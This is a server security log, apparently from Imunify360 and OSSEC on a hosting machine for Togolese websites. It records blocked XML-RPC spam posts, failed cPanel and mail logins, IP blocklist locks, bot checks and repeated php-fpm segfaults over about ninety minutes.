Jul  1 04:07:58 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.67.204.218
country_id: 1831722
description:
[2026-07-01 04:07:59 +0000] info [whostmgrd] 118.67.204.218 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b8836f4bd0e16e49fb8c78107b6884f03e1468d5||Title:tcay7orvglcpe5ov||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:124cdc60d3fdeaa6ee2e9e9a060101834be76999||Title:1huya8ujqai5um6qz||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b9de553ad706de0f0e7a0c290d01b8355e58098f||Title:y78xm98b8wtdtzvmb||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:adf978ba513af21ed7b1d57d579c86a1e94ce8d9||Title:dn7lryvqlvwks06||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 04:10:13 +0000] info [cpaneld] 20.212.169.175 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-07-01 04:10:32 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:34050: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a59419500d0d5f898326793beff4daafa4c9715||Title:jto57elh0nk9y76||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:12:21 ns5 kernel: php-fpm[2188267]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.101
country_id: 3469034
description:
Jul  1 04:12:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f07140e7f1ea5af4212c757e15f3c483321fe0b4||Title:z1w3cq33dvc9ez||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.9.123
country_id: 1880251
description:
43.134.9.123 - - [01/Jul/2026:04:12:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053014&pdata=https%253A%252F%252Fruralinfos.tg%252Fproduction%252Felevage%252Fproduction-animale-la-region-des-plateaux-en-pole-position%252F%253Fshare%253Dtelegram&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782879147 HTTP/2.0" 302 0 ruralinfos.tg "https://ruralinfos.tg/production/elevage/production-animale-la-region-des-plateaux-en-pole-position/?share=telegram" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/26.4 Mobile/15A372 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.9.123


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3332600b633588b9f3e5b8e676012d33ca273066||Title:ih84ns84z77mfxeiog||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a5b5676a4ff5536029706fee9256630a6dcc9849||Title:3h01lwnjld6eohd||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:931a81b5988e4b4e91fd327cea4eea8c443c4efc||Title:cxeuljc4rjzeau||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.87.218.240
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:212.87.218.240||TA:212.87.218.240||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:16:46 ns5 kernel: php-fpm[2188655]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.4.218.80
country_id: 1605651
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3c6cec0f0d23dc51fe72cd77b2e0a572715a41ca||Title:7s670hcdusef3291||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 170.106.140.110
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1144||QS:add-to-cart=1144||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:20:01 ns5 kernel: php-fpm[2190117]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.33
country_id: 3469034
description:
Jul  1 04:20:38 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.33 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 04:20:46 +0000] info [cpaneld] 20.212.169.175 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 04:21:40 +0000] info [cpaneld] 167.99.236.81 - sbnjjkvc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.251.125.118
country_id: 6252001
description:
Jul  1 04:23:37 ns5 pure-ftpd[2194131]: (?@47.251.125.118) [INFO] New connection from 47.251.125.118


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:24:53 ns5 kernel: php-fpm[2193159]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.235.36
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bca18f9ba14d6af7b61906131eb76a34e27eaa9e||Title:doh2m1s9j185fu||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:27:19 ns5 kernel: php-fpm[2195267]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.235.36
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf997dd4481104ad9de8c2021334068ea2c67684||Title:kzrtvwpunmxt37uzc||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:28:17 ns5 kernel: php-fpm[2195548]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.235.36
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d2b911d484075e34669fefd5a11d73d630f13fa||Title:uwcfu33ozetobmd8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.235.36
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f56ccec555528ecc44d6fb66b0f933f086ffdbd||Title:i738hqi7klni3yb||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.170.84
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:140.235.170.84||TA:140.235.170.84||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:33:23 ns5 kernel: php-fpm[2195872]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77140740
name: IM360 WAF: Twenty shell abuse attempt
abuser: 172.253.192.116
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Twenty shell abuse attempt||MVN:REQUEST_HEADERS:Referer||WPU:||RSV:8.21||T:APACHE||MV:https://www.google.com/||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:34:39 ns5 kernel: php-fpm[2196271]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:35:02 ns5 kernel: php-fpm[2196244]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.73.249.249
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.73.249.249||TA:154.73.249.249||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.214.204
country_id: 2077456
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:161.123.214.204||TA:161.123.214.204||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 04:36:50 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 04:37:05 +0000] info [cpaneld] 52.200.114.158 - tqttxcvn "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:38:59 ns5 kernel: php-fpm[2198908]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 04:39:05 +0000] info [cpaneld] 167.99.236.81 - e.sanvee "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.22
country_id: 3469034
description:
Jul  1 04:39:44 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.22 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.74
country_id: 1880251
description:
43.173.180.74 - - [01/Jul/2026:04:40:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856876&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9799&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782880818 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=9799" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.74


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:41:00 ns5 kernel: php-fpm[2199374]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.194.137
country_id: 1880251
description:
43.172.194.137 - - [01/Jul/2026:04:42:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842989&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ffeed%253Drss2%2526p%253D5633&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782880938 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?feed=rss2&p=5633" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.194.137


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:43:04 ns5 kernel: php-fpm[2201545]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:44:16 ns5 kernel: php-fpm[2202238]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:45:34 ns5 kernel: php-fpm[2202808]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:46:08 ns5 kernel: php-fpm[2202946]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:49:44 ns5 kernel: php-fpm[2203145]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.61
country_id: 1512440
description:
2026-07-01 04:50:48 H=([213.230.93.61]) [213.230.93.61]:5860 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 04:50:09 +0000] info [cpaneld] 167.99.236.81 - nwvfmxat "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:52:50 ns5 kernel: php-fpm[2205756]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.120.120.40
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:172.120.120.40||TA:172.120.120.40||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.92.254.64
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2017/12/Rapport_Annuel_2016.pdf HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:56:11 ns5 kernel: php-fpm[2206266]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:58:02 ns5 kernel: php-fpm[2207107]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 49.51.72.76
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1031||QS:add-to-cart=1031||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 04:58:16 +0000] info [cpaneld] 52.200.114.158 - wgqhqbem "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 04:59:22 ns5 kernel: php-fpm[2209468]: segfault at 7ffc1181bd08 ip 000000000072ad55 sp 00007ffc1181bd08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:00:15 ns5 kernel: php-fpm[2211888]: segfault at 7ffc1181bd08 ip 000000000072ad55 sp 00007ffc1181bd08 error 6 in php-fpm[400000+4ad000]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 170.64.141.1
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 170.64.141.1: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:04:25 ns5 kernel: php-fpm[2215829]: segfault at 7ffc1181bd08 ip 000000000072ad55 sp 00007ffc1181bd08 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 217.181.90.188
country_id: 2921044
domain: shekina.tensai.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 05:05:40 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 217.181.90.188
country_id: 2921044
domain: shekina.tensai.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 45.3.53.12
country_id: 3469034
domain: shekina.tensai.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:10:23 ns5 kernel: php-fpm[2219302]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.141.82.206
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce1105e1fd38d97e0686aec027728bca78f08b71||Title:adhcvwixutb798||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 202.141.82.206
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (202.141.82.206) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:13:01 ns5 kernel: php-fpm[2219509]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 05:13:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:14:21 ns5 kernel: php-fpm[2220088]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.211
country_id: 1880251
description:
43.173.179.211 - - [01/Jul/2026:05:14:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608085&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D7470&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782882893 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=7470" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.211


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.11.239.88
country_id: 3608932
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-le-fnfi-moteur-de-linclusion-financiere/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.11.239.88
country_id: 3608932
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-le-fnfi-moteur-de-linclusion-financiere/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 144.16.223.148
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:73fa6cc322d64f475d612cb4f4026b19a4a21c26||Title:9auwq5kcpag8os||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 144.16.223.148
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (144.16.223.148) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:16:30 ns5 kernel: php-fpm[2221467]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 144.16.223.148
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4ca9e57a0df0ef75bc3e2d146f6ed00c8bab171a||Title:9qhmtxjwj8axc1r7||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:17:09 ns5 kernel: php-fpm[2222243]: segfault at 7ffc1181bd58 ip 000000000072ad55 sp 00007ffc1181bd58 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:18:38 ns5 kernel: php-fpm[2225300]: segfault at 7ffc1181bd08 ip 000000000072ad55 sp 00007ffc1181bd08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:19:00 ns5 kernel: php-fpm[2225654]: segfault at 7ffc1181bd08 ip 000000000072ad55 sp 00007ffc1181bd08 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.192.113.81
country_id: 1168579
domain: anamek.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:16536.anamek.tg||ServerName:anamek.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3cb0342ea61ab2e6bf913970b442de148a7445e9||Title:0x9af5c1d4||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 05:23:19 +0000] info [cpaneld] 167.99.236.81 - concours "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user concours (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:24:54 ns5 kernel: php-fpm[2229203]: segfault at 7ffd49757e28 ip 000000000072ad55 sp 00007ffd49757e28 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
